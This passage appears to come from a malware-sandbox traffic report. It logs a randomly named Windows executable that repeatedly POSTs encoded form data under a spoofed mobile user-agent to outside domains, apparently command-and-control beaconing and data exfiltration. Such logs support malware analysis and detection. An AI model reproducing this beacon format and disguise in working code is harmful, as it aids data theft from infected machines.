Dec 10, 2024 16:26:32.875821114 CET	461	IN	HTTP/1.1 404 Not Found Date: Tue, 10 Dec 2024 15:26:32 GMT Server: Apache/2.4.62 (Debian) Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 67 75 63 63 69 71 75 65 65 6e 2e 73 68 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.62 (Debian) Server at www.gucciqueen.shop Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50011	45.79.252.94	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:39.159554958 CET	803	OUT	POST /p39a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.premium303max.rest Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.premium303max.rest Referer: http://www.premium303max.rest/p39a/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 41 61 6b 55 37 41 44 71 69 4f 36 38 68 52 65 67 78 31 48 30 53 45 42 46 36 4f 57 71 44 4f 39 73 62 38 65 70 48 43 55 77 4d 4d 55 4c 6c 37 30 4f 57 43 54 79 46 6e 79 32 4d 75 37 75 4c 6b 6b 30 59 6b 36 30 4f 47 33 79 6f 51 5a 50 41 66 70 74 2f 51 68 79 35 38 7a 6a 34 30 56 67 68 33 62 70 31 44 75 65 30 68 53 63 4e 6a 47 36 55 75 75 76 39 45 51 44 48 70 79 7a 54 6c 42 44 65 6f 50 57 47 41 4d 58 72 72 54 74 66 35 43 58 76 6d 6b 69 45 47 51 30 30 48 75 69 6a 68 45 71 6c 34 73 68 78 79 4e 73 79 78 38 58 5a 37 6f 49 4b 34 74 2b 57 4d 53 57 41 52 68 6a 46 38 57 7a 57 6d 51 65 77 33 61 41 67 58 38 3d Data Ascii: UTJ0bhC=AakU7ADqiO68hRegx1H0SEBF6OWqDO9sb8epHCUwMMULl70OWCTyFny2Mu7uLkk0Yk60OG3yoQZPAfpt/Qhy58zj40Vgh3bp1Due0hScNjG6Uuuv9EQDHpyzTlBDeoPWGAMXrrTtf5CXvmkiEGQ00HuijhEql4shxyNsyx8XZ7oIK4t+WMSWARhjF8WzWmQew3aAgX8=
Dec 10, 2024 16:26:40.405989885 CET	399	IN	HTTP/1.1 301 Moved Permanently date: Tue, 10 Dec 2024 15:26:40 GMT expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-ua-compatible: IE=edge x-redirect-by: WordPress vary: X-Forwarded-Proto,Accept-Encoding location: https://www.premium303max.rest/p39a/ content-length: 0 content-type: text/html; charset=UTF-8 server: Apache connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50012	45.79.252.94	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:41.828942060 CET	823	OUT	POST /p39a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.premium303max.rest Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.premium303max.rest Referer: http://www.premium303max.rest/p39a/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 41 61 6b 55 37 41 44 71 69 4f 36 38 67 78 75 67 77 53 37 30 44 6b 42 47 6a 2b 57 71 4a 75 39 6f 62 38 53 70 48 48 6b 61 4d 35 38 4c 6c 62 6b 4f 58 44 54 79 4c 48 79 32 44 4f 37 72 49 55 6b 37 59 6b 32 47 4f 45 6a 79 6f 54 6c 50 41 64 68 74 2b 6e 4e 78 34 73 7a 68 74 6b 56 69 75 58 62 70 31 44 75 65 30 67 79 32 4e 6a 65 36 49 4f 2b 76 73 56 51 43 4e 4a 79 77 43 6c 42 44 61 6f 50 53 47 41 4d 68 72 76 4c 4c 66 39 79 58 76 6d 55 69 46 58 51 7a 2b 48 75 37 6e 68 45 36 69 4e 42 45 39 44 78 75 79 67 42 50 5a 74 63 46 47 75 63 55 4d 75 61 2b 54 78 4e 62 56 76 65 45 48 57 78 33 71 55 4b 77 2b 41 71 51 45 4d 69 6f 38 53 54 59 77 32 34 6b 67 72 2b 6a 49 45 4a 4c Data Ascii: UTJ0bhC=AakU7ADqiO68gxugwS70DkBGj+WqJu9ob8SpHHkaM58LlbkOXDTyLHy2DO7rIUk7Yk2GOEjyoTlPAdht+nNx4szhtkViuXbp1Due0gy2Nje6IO+vsVQCNJywClBDaoPSGAMhrvLLf9yXvmUiFXQz+Hu7nhE6iNBE9DxuygBPZtcFGucUMua+TxNbVveEHWx3qUKw+AqQEMio8STYw24kgr+jIEJL
Dec 10, 2024 16:26:43.018282890 CET	399	IN	HTTP/1.1 301 Moved Permanently date: Tue, 10 Dec 2024 15:26:42 GMT expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-ua-compatible: IE=edge x-redirect-by: WordPress vary: X-Forwarded-Proto,Accept-Encoding location: https://www.premium303max.rest/p39a/ content-length: 0 content-type: text/html; charset=UTF-8 server: Apache connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50013	45.79.252.94	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:44.484082937 CET	1840	OUT	POST /p39a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.premium303max.rest Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 1244 Origin: http://www.premium303max.rest Referer: http://www.premium303max.rest/p39a/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 41 61 6b 55 37 41 44 71 69 4f 36 38 67 78 75 67 77 53 37 30 44 6b 42 47 6a 2b 57 71 4a 75 39 6f 62 38 53 70 48 48 6b 61 4d 35 6b 4c 69 70 63 4f 57 68 37 79 49 48 79 32 64 2b 37 71 49 55 6b 63 59 6b 2b 43 4f 45 75 48 6f 56 70 50 43 2b 35 74 35 56 31 78 78 73 7a 68 76 6b 56 2f 68 33 61 30 31 44 2b 61 30 67 43 32 4e 6a 65 36 49 4d 57 76 38 30 51 43 43 70 79 7a 54 6c 42 66 65 6f 50 71 47 45 59 78 72 76 65 77 66 4d 4f 58 76 43 77 69 47 6c 49 7a 6b 48 75 75 71 42 46 6c 69 4e 46 58 39 44 74 45 79 67 31 6c 5a 71 6f 46 44 6f 70 59 51 2b 6d 57 41 33 51 35 59 66 53 64 57 78 35 77 6a 33 32 43 33 52 79 74 4c 76 53 45 7a 79 2f 36 32 55 46 36 69 61 32 31 43 78 77 63 39 2b 2b 77 55 39 5a 53 74 79 58 36 6a 31 66 4d 6b 4b 2b 50 2b 76 51 6c 76 38 42 6f 30 6d 64 66 77 77 71 4c 7a 6b 45 74 56 70 57 4b 78 6e 65 4e 73 58 42 39 4b 56 43 77 31 67 46 68 64 68 52 64 73 4d 43 57 5a 4b 36 49 6a 54 73 58 69 75 75 44 57 79 78 62 4c 33 4e 73 53 43 73 31 61 76 51 46 73 35 5a 53 51 68 2f 32 4f 39 4f 7a 56 47 [TRUNCATED] Data Ascii: UTJ0bhC=AakU7ADqiO68gxugwS70DkBGj+WqJu9ob8SpHHkaM5kLipcOWh7yIHy2d+7qIUkcYk+COEuHoVpPC+5t5V1xxszhvkV/h3a01D+a0gC2Nje6IMWv80QCCpyzTlBfeoPqGEYxrvewfMOXvCwiGlIzkHuuqBFliNFX9DtEyg1lZqoFDopYQ+mWA3Q5YfSdWx5wj32C3RytLvSEzy/62UF6ia21Cxwc9++wU9ZStyX6j1fMkK+P+vQlv8Bo0mdfwwqLzkEtVpWKxneNsXB9KVCw1gFhdhRdsMCWZK6IjTsXiuuDWyxbL3NsSCs1avQFs5ZSQh/2O9OzVGz7r+Ibueuq48CIOhFU8rCLCWejgA2V9S2JfIHUlgMD/88gUd5v0Nvxh2R1kQs9Y0acgdaVn2MET/PMikB9Mr7eZI1SJDA1u+FUJ3pvk5qFa55bpqXg5GoxXcsus3hoJxJrKIIF7HwSqYhhg1sZGh39mXNn6k6yVhj6R6ael+YFxCVkV3AbUXJESnOGQbO0VzkmysUu1xdGrmJelFyAPobeqm61qxdxL6nrtNLkiD74HkjzyAYgVrSTVu0DBn+7C24ZfBqjoGSA5qUiQ6Vvi/0RKWcgGh5W2FzQhZzPnS+kQ9ADZZCduj+6PKglII3zUN7rwggRf+2it4S7+TI4KRYFWQEmDRyBQwBe1jfWlzStBsEufx+J1ISEaa3FpeI3u8ytKDaCTOwMLHmgxaAYkDeIg3elYsneF4DgO/kguXbx7/8xf67l/217pP0YH1QD4sBQvaCW8UbcxvcUGpwsEcbkvZ0c7k2MO285LSXXtmbiqJhJRG0gMKP1QJ1JWYo39eQxSVT87oTEITFStlWKOiDMyHh8fxVuNuMz/Hs8wfP72kxx9s+0YIx+nNAvO1gy5wfRvee3E9BJ2VH8F75ORpv1gyAblmvHYyx5SKpM8Ukjz/mkALI3QkwBsPFS78124BNpCj0f7N5uuoFMRjQVaIidz7KmuFpDWsPc [TRUNCATED]
Dec 10, 2024 16:26:45.675806999 CET	399	IN	HTTP/1.1 301 Moved Permanently date: Tue, 10 Dec 2024 15:26:45 GMT expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-ua-compatible: IE=edge x-redirect-by: WordPress vary: X-Forwarded-Proto,Accept-Encoding location: https://www.premium303max.rest/p39a/ content-length: 0 content-type: text/html; charset=UTF-8 server: Apache connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50014	45.79.252.94	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:26:47.138627052 CET	538	OUT	GET /p39a/?Pt=fDlHoNWP0RBd&UTJ0bhC=NYM041vNjejJmgmdhSmYVhxa0+fvP9BrXtGCCHxlIJ8IspgLPDvRAlXhNJfLJHdGPUuKZVGM9QJ5KO5zmQZa2t3P5lFBsDeA2Uq7kE2QIl2fKsXQslF4XsSGUXNQZJSmUg== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.premium303max.rest Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Dec 10, 2024 16:26:48.335143089 CET	551	IN	HTTP/1.1 301 Moved Permanently date: Tue, 10 Dec 2024 15:26:48 GMT expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-ua-compatible: IE=edge x-redirect-by: WordPress vary: X-Forwarded-Proto,Accept-Encoding location: http://premium303max.rest/p39a/?Pt=fDlHoNWP0RBd&UTJ0bhC=NYM041vNjejJmgmdhSmYVhxa0+fvP9BrXtGCCHxlIJ8IspgLPDvRAlXhNJfLJHdGPUuKZVGM9QJ5KO5zmQZa2t3P5lFBsDeA2Uq7kE2QIl2fKsXQslF4XsSGUXNQZJSmUg== content-length: 0 content-type: text/html; charset=UTF-8 server: Apache connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50015	31.31.198.145	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:27:02.812504053 CET	806	OUT	POST /rls3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.locuramagica.online Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.locuramagica.online Referer: http://www.locuramagica.online/rls3/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 74 6c 44 4d 54 43 5a 49 48 39 77 5a 68 50 54 50 59 4d 55 35 71 72 63 50 2f 44 57 79 6c 58 31 76 51 70 79 43 45 50 6e 79 4d 38 48 6d 32 77 5a 56 71 32 48 30 78 2f 45 52 58 77 70 31 62 6b 63 78 4a 41 4f 62 41 56 48 69 69 52 5a 73 47 6e 2f 70 33 37 57 51 78 35 31 5a 62 58 6e 6d 35 31 45 65 61 64 58 46 43 39 41 76 43 2b 61 46 79 73 74 33 6b 64 38 4c 62 32 33 77 4e 30 4b 43 47 64 32 62 52 49 48 67 36 2f 45 4c 59 4f 79 75 54 53 79 70 4a 65 4a 65 61 68 44 62 58 48 4f 55 43 77 65 44 7a 30 70 55 59 73 52 45 6c 57 6f 57 68 46 6b 62 5a 79 41 46 4f 52 5a 50 55 7a 32 69 49 50 69 36 39 51 38 44 34 6c 67 3d Data Ascii: UTJ0bhC=tlDMTCZIH9wZhPTPYMU5qrcP/DWylX1vQpyCEPnyM8Hm2wZVq2H0x/ERXwp1bkcxJAObAVHiiRZsGn/p37WQx51ZbXnm51EeadXFC9AvC+aFyst3kd8Lb23wN0KCGd2bRIHg6/ELYOyuTSypJeJeahDbXHOUCweDz0pUYsRElWoWhFkbZyAFORZPUz2iIPi69Q8D4lg=
Dec 10, 2024 16:27:03.925805092 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 63 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 5b 73 e3 46 b2 30 f8 ee 5f 41 f1 84 d5 a4 1b 84 70 e7 ad d1 1a 8f a7 7d ec 38 33 b6 63 da 67 26 36 34 0a 05 44 82 22 dc 20 c0 03 80 52 cb 12 4f 6c ec c3 fe 8f 7d dc b7 f3 b0 5f c4 ee c3 be ec 2f 98 ef 1f 6d 66 15 ee 37 16 08 52 ea ee 23 d9 4d 82 40 55 66 65 56 56 56 66 56 55 e2 cd c9 dc 9d 05 f7 6b b3 b3 0c 56 f6 db 37 f8 d9 b1 0d e7 46 ef 7a 9b 6e 67 66 1b be af 77 2d ff ca 98 1b eb c0 ba 35 bb 9d b9 11 18 83 b5 e1 98 f6 60 e3 d9 7a 77 19 04 6b 7f 72 76 e6 9b de ad e9 29 2a bf 74 fd c0 72 6e 78 cf 84 7f 9b b3 95 e1 18 37 a6 d7 05 e0 a6 31 7f fb 66 65 06 46 67 b6 34 3c df 0c f4 ee bf ff fa fd 60 d4 0d ef 3a c6 ca d4 bb b7 96 79 b7 76 bd 00 d0 bb 4e 60 3a 50 ea ce 9a 07 4b 7d 6e de 5a 33 73 40 7e 70 96 63 05 96 61 0f fc 99 61 9b ba 98 05 e1 b9 d7 6e e0 a7 00 38 ae e5 cc cd 8f 50 2a b0 02 db 7c fb cf ff e3 7f fe 6f ff f3 7f fd e7 7f fd f3 ff fd e7 ff fd 3f ff f7 7f fe 57 07 2e fe c7 a9 73 ed af a7 70 f5 5f ff fc 7f fe f9 7f fd f3 7f e0 d5 9b 33 5a [TRUNCATED] Data Ascii: c000[sF0_Ap}83cg&64D" ROl}_/mf7R#M@UfeVVVfVUkV7Fzngfw-5`zwkrv)trnx71feFg4<`:yvN`:PK}nZ3s@~pcaan8P\|o?W.sp_3Zfge-C}{77A::3g;7V\|c173>7\|f9+xoxy!HUY"_~iksuvm>5McT+\|Xda1[9,\{rdLDAz:&$?Nu1h+087YSD0f<[Fi53:?3}{9>0}3bV0`-U6`tnQL7)EDpA,lnqsN/[$eP`>Bw,z@pnRTlX;9a pn6ADY;@3%0kL'~pw Wo]YmkKq-D2}E%kd6AK\-\`9;!;jU/$8X<K*[IGLU2^>MNH_7&bW1((K3e]<cRDFxZYnWh\|Z"r`zc)<8 [TRUNCATED]
Dec 10, 2024 16:27:03.925899029 CET	224	IN	Data Raw: 64 9b d6 78 02 a9 6d 27 53 8d 46 ad 6b 4c 3a 99 a4 43 df 63 e0 07 06 98 29 61 13 47 c2 1e 13 55 63 f8 89 d8 44 d3 5b 7a f8 6a 42 22 1b e4 07 b1 c5 6c 30 77 07 84 2b 03 04 4f 05 7e 17 e1 31 f8 d8 0c 89 6d ba ce 40 54 29 e8 c6 e4 b2 41 2d 12 99 0c Data Ascii: dxm'SFkL:Cc)aGUcD[zjB"l0w+O~1m@T)A-IPcfJKpPJ%kMj)dB3u=Y(!0?9s=xYXRcD]=az2rb(o=k,R~=t`;W
Dec 10, 2024 16:27:03.925909996 CET	1236	IN	Data Raw: 73 77 93 b6 8b 48 3d 1c 46 25 f5 08 ab ca 9c 1b 40 73 a6 b5 ea ae b2 0e 48 dc 1c 7c e8 5b bf 9b 60 df fe b6 f1 43 ff 6b b0 f2 2b 9e 94 de ad a0 67 42 89 da 78 3e 50 b5 76 2d 24 a0 ae 68 d8 f1 21 17 86 0a fe 57 68 7d 8d 18 4c 8c 45 7a 22 26 96 cd Data Ascii: swH=F%@sH\|[`Ck+gBx>Pv-$h!Wh}LEz"&tf7I\|9-E9i6:F!raAyrN{SJ:]w')jiV]w7T~$cM]npglBX7r6^!Q)
Dec 10, 2024 16:27:03.926188946 CET	1236	IN	Data Raw: d3 b6 dd bb e4 64 65 47 e8 80 29 df c1 a3 f4 b9 ac 5b ea 3c df da c0 75 ed c0 5a 27 04 6b a6 20 c4 65 ae d6 9e bb 72 f1 1c b6 7f 35 37 fd 99 67 ad 49 1a 88 03 69 95 5d 3b 81 ea d1 a3 b9 27 b5 19 47 4d f7 12 1d bb 39 2f e7 ad 9f fe bc 35 e6 43 08 Data Ascii: deG)[<uZ'k er57gIi];'GM9/5C$-D1cK {A!p$:C>ioiuRCL4J3#RIE-"@gER()N3ax+CZZ<6r9)Pxy0iHrRRZ?Kl(Cpft
Dec 10, 2024 16:27:03.926498890 CET	1236	IN	Data Raw: 40 91 a6 e7 f3 00 76 2b 6e 46 e3 3f 43 d4 73 d9 fd ad 7b 2a 6f 60 17 a8 7a 4e 6b bf 75 5f 45 e6 75 9a aa 67 b3 f1 5b 6b 88 bc 31 5d a0 ea 39 2d fb c6 13 53 68 87 33 18 52 4c f6 7c 86 19 cf 6c ca 17 db f2 6c 56 fc 6e 53 8e cd 80 07 92 4a 6c f7 7d Data Ascii: @v+nF?Cs{*o`zNku_Eug[k1]9-Sh3RL\|llVnSJl}iMzlu@3;c3$=If&}'7Kb7wI_h;9hN)z.~'-M"MgV&}2[TUbOoWtAjUi>0Mb[mBmL
Dec 10, 2024 16:27:03.926512003 CET	1236	IN	Data Raw: ac ae fd 6a 79 f8 d3 8e 8a 9b 75 69 b5 77 55 d5 36 6b 9c 15 4a eb 7c 5f 55 e7 77 17 bc b7 92 1a a2 d0 fd 5c e7 de da bf cf c6 72 2d 9f bf 73 bf bf 6c a3 95 d8 ab d9 69 2e 3b 8b a5 5c ec f4 9c 25 e4 e7 35 cb b1 70 fe 60 d2 24 11 06 fa ee 2a c7 1d Data Ascii: jyuiwU6kJ\|_Uw\r-sli.;\%5p`$*`Z~f0Fc\my10FqFf_`kYkQx#wN'g?2<&B=@q{ni_S70_m@+\-A>aa>Z=fC_J
Dec 10, 2024 16:27:03.926532030 CET	1236	IN	Data Raw: 04 7f 18 f6 a0 4d 95 e3 4e 63 93 8f 01 fc 71 78 53 05 9d 9d 35 25 81 36 59 db 23 be 99 18 24 ab f9 71 cd b5 d5 fc b8 e6 5a 11 fe 21 cd b5 34 f4 e7 34 d7 2a 7b e9 30 e6 da f1 3a a9 02 fc 01 cd 35 96 2e 3a be b9 b6 9a 33 99 6b 99 7e 3c aa b9 c6 d8 Data Ascii: MNcqxS5%6Y#$qZ!44*{0:5.:3k~<0Xz<\;6OA'ce([wotVsA2J429v,TAoeX$v5iTOaUauRk,]t\|{a2xT{K`n%L^;6OA'ce([wo
Dec 10, 2024 16:27:03.927342892 CET	552	IN	Data Raw: 1c b8 eb 30 6f a0 52 87 bc 68 b6 55 27 56 ae 04 10 d9 39 c0 55 6b 61 91 b7 7e cd cc a5 6b cf 31 f3 26 49 ed ce b4 a6 9f 63 4b 6d 62 a6 c6 cb da 4d 80 e7 89 c5 f7 d8 70 b9 7b f8 8a 95 dd ef 67 aa e8 cb b4 88 40 d7 25 2f 92 c8 63 26 58 4a 7a 36 eb Data Ascii: 0oRhU'V9Uka~k1&IcKmbMp{g@%/c&XJz6(o#+"\y0&Y*H{]}b5Un1TxpsV5v\|n:e3I?>IGRIw+lJzBg<aoEJF
Dec 10, 2024 16:27:03.927364111 CET	1236	IN	Data Raw: 87 6f 34 c6 a5 e3 ec af 2f ed 9d 1f 99 bf b3 af fe f0 c1 bc 5f 78 c6 ca f4 3b 2b 90 ff ef 6c 77 33 f7 1f 84 af d3 73 54 3c 04 c0 a0 b8 bd eb c8 ea d7 db c0 2d 2d 30 10 05 35 2c b1 cd 43 b6 82 7b 46 e8 1c b5 52 38 3a 91 77 e8 af 8e 2c df 2e 77 e3 Data Ascii: o4/_x;+lw3sT<--05,C{FR8:w,.wK^t+YaV7y$0_;63B:W$;7cBUg+{o&XFwCeYz$Q{;_yZzrvvwwI W_/CUEMc5y&
Dec 10, 2024 16:27:03.927381039 CET	1236	IN	Data Raw: 58 21 2f 56 c8 8b 15 f2 62 85 b4 b0 42 b8 fc 16 c0 70 db 44 bc 91 91 db 6b aa d5 46 42 32 d5 2a b2 bc df 54 4b c2 a1 70 99 0a d6 d8 08 d2 ff d9 11 1f 84 af 25 95 93 14 f8 7c 40 d8 13 a0 f1 5a be 1e cf ae b7 92 9a be b9 58 cc 66 82 9c 89 f8 44 40 Data Ascii: X!/VbBpDkFB2TKp%\|@ZXfD@$DQF 22,kpWKpn\|!M\d;(c)(1(!3smLQjU{7Ku@I,OQT&\;U?\0S#(U\Zq0wjO"7Udnyf/:
Dec 10, 2024 16:27:04.045502901 CET	1236	IN	Data Raw: bd 98 b4 6e 3e 92 ff 56 e0 e7 8b ff f6 09 f9 ec 05 b9 ac eb d6 5a b6 a4 29 2f ef f3 72 69 ff b2 fa bc b5 b4 57 47 74 f7 e8 f3 7c 44 77 fc df af cf 51 b9 f3 ca 50 7d 86 75 a5 b2 71 fe f4 ba bd 9d b0 d7 76 f9 e7 be 70 f3 a5 0e f3 96 94 7f 56 7d fe Data Ascii: n>VZ)/riWGt\|DwQP}uqvpV}qaKN1@vK]-4:]]EkfkfrJuWpw_<YweHd3d'ICC@>yD@d{@vhi0h*NQP\aT>v

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	50016	31.31.198.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:27:06.158276081 CET	826	OUT	POST /rls3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.locuramagica.online Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.locuramagica.online Referer: http://www.locuramagica.online/rls3/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 74 6c 44 4d 54 43 5a 49 48 39 77 5a 68 76 6a 50 61 72 67 35 73 4c 63 49 6d 6a 57 79 73 33 31 72 51 75 36 43 45 4b 66 69 4d 4f 7a 6d 33 51 4a 56 72 79 72 30 32 2f 45 52 50 67 70 73 45 30 64 7a 4a 41 43 54 41 51 6e 69 69 56 78 73 47 6c 6e 70 33 49 2b 66 6a 5a 31 62 54 33 6e 6b 33 56 45 65 61 64 58 46 43 39 55 46 43 36 32 46 79 64 64 33 6e 34 63 55 45 47 33 7a 61 45 4b 43 43 64 32 66 52 49 47 50 36 39 78 6d 59 4e 61 75 54 53 43 70 49 50 4a 66 54 68 44 56 61 6e 50 46 4c 69 43 4e 31 47 56 46 56 4d 67 73 38 46 38 35 70 54 56 78 44 51 49 74 64 78 31 33 45 67 2b 56 5a 2f 44 54 6e 7a 73 7a 6d 79 32 61 6c 47 63 59 51 4c 52 47 57 48 77 4a 32 63 49 38 79 75 4c 5a Data Ascii: UTJ0bhC=tlDMTCZIH9wZhvjParg5sLcImjWys31rQu6CEKfiMOzm3QJVryr02/ERPgpsE0dzJACTAQniiVxsGlnp3I+fjZ1bT3nk3VEeadXFC9UFC62Fydd3n4cUEG3zaEKCCd2fRIGP69xmYNauTSCpIPJfThDVanPFLiCN1GVFVMgs8F85pTVxDQItdx13Eg+VZ/DTnzszmy2alGcYQLRGWHwJ2cI8yuLZ
Dec 10, 2024 16:27:07.551311016 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:27:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 63 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 5b 73 e3 46 b2 30 f8 ee 5f 41 f1 84 d5 a4 1b 84 70 e7 ad d1 1a 8f a7 7d ec 38 33 b6 63 da 67 26 36 34 0a 05 44 82 22 dc 20 c0 03 80 52 cb 12 4f 6c ec c3 fe 8f 7d dc b7 f3 b0 5f c4 ee c3 be ec 2f 98 ef 1f 6d 66 15 ee 37 16 08 52 ea ee 23 d9 4d 82 40 55 66 65 56 56 56 66 56 55 e2 cd c9 dc 9d 05 f7 6b b3 b3 0c 56 f6 db 37 f8 d9 b1 0d e7 46 ef 7a 9b 6e 67 66 1b be af 77 2d ff ca 98 1b eb c0 ba 35 bb 9d b9 11 18 83 b5 e1 98 f6 60 e3 d9 7a 77 19 04 6b 7f 72 76 e6 9b de ad e9 29 2a bf 74 fd c0 72 6e 78 cf 84 7f 9b b3 95 e1 18 37 a6 d7 05 e0 a6 31 7f fb 66 65 06 46 67 b6 34 3c df 0c f4 ee bf ff fa fd 60 d4 0d ef 3a c6 ca d4 bb b7 96 79 b7 76 bd 00 d0 bb 4e 60 3a 50 ea ce 9a 07 4b 7d 6e de 5a 33 73 40 7e 70 96 63 05 96 61 0f fc 99 61 9b ba 98 05 e1 b9 d7 6e e0 a7 00 38 ae e5 cc cd 8f 50 2a b0 02 db 7c fb cf ff e3 7f fe 6f ff f3 7f fd e7 7f fd f3 ff fd e7 ff fd 3f ff f7 7f fe 57 